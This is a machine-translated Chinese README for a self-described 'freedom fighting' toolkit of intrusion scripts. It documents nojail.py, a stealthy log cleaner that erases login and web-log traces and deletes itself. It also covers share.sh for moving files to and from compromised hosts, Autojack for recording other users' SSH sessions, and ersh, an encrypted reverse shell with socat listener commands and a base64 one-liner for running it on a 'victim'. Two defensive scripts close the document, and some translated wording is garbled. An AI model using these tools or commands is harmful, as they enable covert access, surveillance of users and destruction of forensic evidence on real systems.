該存儲庫包含在您的自由鬥爭活動中可能會派上用場的腳本。當我發現自己需要在網上找不到的東西時,它將偶爾更新。這裡的所有內容均根據GPL V3許可證的條款分發。
貢獻和拉力請求非常歡迎。
刪除罪犯條目的日誌清潔器:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(控制who
, w
和last
命令的輸出)/var/log/lastlog
(控制lastlog
命令的輸出)/var/**/*.log
等)根據IP地址和/或關聯的主機名刪除條目。
特殊護理是為了避免在篡改日誌時打破文件描述符。這意味著在被篡改之後,將繼續寫入日誌,從而使清潔量變得不那麼明顯。所有工作都在TMPFS驅動器中進行,並且創建的任何文件均已安全地擦除。
警告:該腳本僅在Linux上進行了測試,無法清潔其他UNIX口味上的UTMP條目。
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
默認情況下,如果沒有給出任何參數,則腳本將嘗試根據SSH_CONNECTION
環境變量確定擦洗的IP地址。匹配該IP的反向DN的任何條目也將被刪除。
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
...將刪除用戶根的所有條目,其中IP地址為151.80.119.32或Hostame是manalyzer.org
。由於--check
選項,還將在刪除每個記錄之前提示用戶。最後,除了所有默認的文件外,還將處理文件/etc/app/logs/access.log
。
如果給出文件夾為位置參數( /etc/app/logs/
logs/logs),則腳本將遞歸爬網,並使用.log
擴展名( *.log.1, *.log.2 .gz等)清潔任何文件。 包括)。
您可能還需要從日誌文件中刪除任意行。為此,請使用--regexp
選項。例如,以下命令行將從指定的IP中尋找對PHP文件的所有發布請求:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
假設這是從SSH連接運行的,則此命令將刪除與當前用戶活動有關的所有日誌,並在關閉連接後立即使用檢測到的IP地址和主機名。此腳本隨後將自動刪除自身。請記住,您將沒有機會從應用程序中接收錯誤消息。鼓勵您在產生惡魔之前嘗試一次刪除日誌,以確保您指定的參數正確。如果您在沒有TTY的外殼中,則該腳本將無法檢測到會話何時結束。您會收到通知您將在60秒內刪除日誌,並且應該在此之前註銷(或冒著在腳本運行後創建更多條目的風險)。
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
提供此腳本無保證。不要怪我,它並沒有擦除您首先不應該做的事情的所有痕跡。
便攜式和安全的文件共享腳本。在自由戰鬥的同時,通常無法將SCP檔案放入受損的機器中。需要上傳文件的其他方法,但是大多數共享服務要么過於限制,要么不提供輕鬆從命令行檢索文件的方法。安全考慮也可能會阻止人們將敏感文件上傳到雲提供商,因為他們擔心他們會永遠保留它的副本。
這個小的和便攜式的bash腳本依賴於轉移。SH解決該問題。它...
torify
。唯一需要的依賴項是openssl
和curl
或wget
。
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
上傳期間的其他參數使您可以控製文件( -m
)允許的最大下載次數,以及多少天傳輸。SH將保留它( -d
)。這兩個選項的默認值為1。
警告:請勿在加密密鑰中使用空格,或僅考慮密碼的第一個單詞。這是由於getopts
處理參數的方式(我認為)。如果有人有興趣解決此問題,歡迎拉動請求。
Autojack是一個簡短的腳本,利用了emptymonkey的ShellJack來記錄通過SSH連接的任何用戶的終端。它觀看auth.log
的成功連接,弄清楚用戶bash
過程的pid,然後將其餘的剩下的人留給shelljack
。
在屏幕上啟動它,然後等到其他用戶登錄。他們的會話將記錄到/root/.local/sj.log.[user].[timestamp]
。
該腳本不是特別隱秘(沒有試圖隱藏shelljack
過程),但可以完成工作。請注意,為了避免自我想像, root
用戶不是針對的(可以在代碼中對此進行瑣碎的評論)。
ListUrl是一個多線程網站crawler,從目標獲取可用頁面的列表。該腳本對於試圖建立Web應用程序的攻擊表面的錯誤歐洲獵人很有用。
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
這是一個小網站的示例輸出:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
--exclude-regexp
和--show-regexp
選項用於控制哪些URL應顯示或忽略。例如,在上面的示例中,您可能需要忽略可能非常相似的頁面:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
請注意,匹配的URL不會被爬行。當腳本在深入的評論頁面或重複性內容中丟失時,這特別有用。或者,您可能只對php腳本感興趣: ./listurl.py --show-regexp ".php$"
。
默認情況下,爬蟲僅深3級。這是您可以使用--max-depth
選項控制的東西。
另一個考慮因素是是否應遵循指向外部域的URL。默認情況下,腳本沒有,但是您可以通過設置--external
Switch來啟用此功能。如果您對隨機外部域不感興趣,但仍希望將爬網擴展到子域,則可以設置--subdomains
Switch:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
請注意,如果腳本花費太長,您可以隨時按CTRL+C關閉。然後,您將顯示到目前為止發現的頁面。
如果您需要在網站上訪問身份驗證的頁面,則可以通過命令行提供--cookie
cookie。
最後,如果您在擁有無效或自簽名的SSL證書的網站上工作,請使用--no-certificate-check
選項忽略SSL錯誤。
ersh
是用Pure Python編寫的加密反向外殼。曾經在沒有標準公用事業或編譯工具的盒子裡,也沒有簡單的方法可以上傳二進製文件?您是否害怕ID會注意到出站外殼?因為您按下^C
而意外關閉了NetCat的聽眾?不再遭受。
ersh
提供以下功能:
有關此工具如何實現的更詳細討論,請參閱此博客文章。
此腳本需要在工作之前進行編輯!在開始附近尋找此標記:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
HOST
和PORT
是自稱的,但是您可能需要SSL證書的其他幫助。但是,沒有人願意與OpenSSL的客戶作鬥爭,因此您可以使用以下單線:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
就是這樣!現在,您應該在當前文件夾中有五個新文件: server.(crt|key|pem)
和client.(crt|key)
。其中一些需要插入腳本中,以便反向外殼和聽眾可以相互驗證。具體來說:
client_key
應該包含client.key
的內容。client_crt
應包含client.crt
的內容。server_crt
應包含server.crt
的內容。就是這樣,不再需要編輯。
考慮到將進行全面的TLS協商,傳統的nc
聽眾在這裡不夠。由於能夠處理加密和TTY,因此選擇了socat
執行此任務。在基於Debian的發行版中,您應該能夠通過簡單地運行sudo apt-get install socat
來獲得它。
假設您仍在生成密鑰和證書的文件夾中,並且您想在端口443上收聽,則是您應該在機器上運行的命令行:反向外殼將到達:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
您無需將腳本複製到遠程計算機才能工作。這是一種從非相互作用的外殼運行的簡單方法。將整個腳本複製到剪貼板上,並在受害者身上運行以下命令:
python - <<'EOF'
[paste script contents here]
'EOF'
如果您試圖從不支持多條線的環境(例如怪異)啟動ersh.py
,也可以嘗試生成這樣的單線:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
在接收機上:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
受害者:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
再次在接收器上:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
該劇本的編寫是為了檢測邪惡的女僕攻擊。它通過在啟動時檢查硬盤驅動器是否已啟動而不是OS(例如,如果將其從計算機中取出以獲取副本,或者是否有人試圖啟動機器但被FDE密碼停止)來做到這一點(例如)。
您需要確保此腳本將在每個啟動下運行。以下說明將使用SystemD進行分發。
/etc/systemd/system/
。根據需要修復其內部的路徑。腳本將作為根本運行,因此請確保它不是世界上的可寫!#> systemctl enable boot_check.service
安裝依賴項:
#> apt install smartmontools dialog
一次運行腳本,以便初始化:
#> ./boot_check.py
如果出現確認消息,那麼您就可以了。
如果要確保腳本有效,請確保執行以下操作:
創建此腳本是為了提供一種簡單的方法來“ BOOBY-TRAP” Linux系統上的某些可執行文件。這個想法是在他們不擁有的服務器上使用某些二進製文件( id
, whoami
, gcc
)時檢測入侵者。
要保護這些二進製文件,請notify_hook.py
創建與該PATH
更高腳本的符號鏈接。然後, notify_hook
將向您發送警報,並以透明的方式撥打預期的程序。例如,如果要“保護” id
,只需在計算機上創建以下符號鏈接:
ln -s path/to/notify_hook.py /usr/local/bin/id
...以及所有未來對id
的電話都應通過此腳本進行路由。這顯然不是發現系統上黑客的萬無一失的方法,但是它應該抓住最粗心的入侵者。
系統上的某些程序和腳本可能會定期調用您希望保護的一些二進製文件。在這種情況下,您可以編輯位於腳本開頭的稱為CALLER_WHITELIST
的變量。將這些過程的名稱放在列表中,以禁用它們的警報(接受正則表達式)。
本腳本中實現的當前通知方法是通過Asamk的信號CLI發送的文本消息。如果要使用它,則需要單獨安裝此項目,或者更有可能將Notify_callback函數替換為notify_hook.py
上的notify_callback
函數,並使用適合您的需求的任何東西。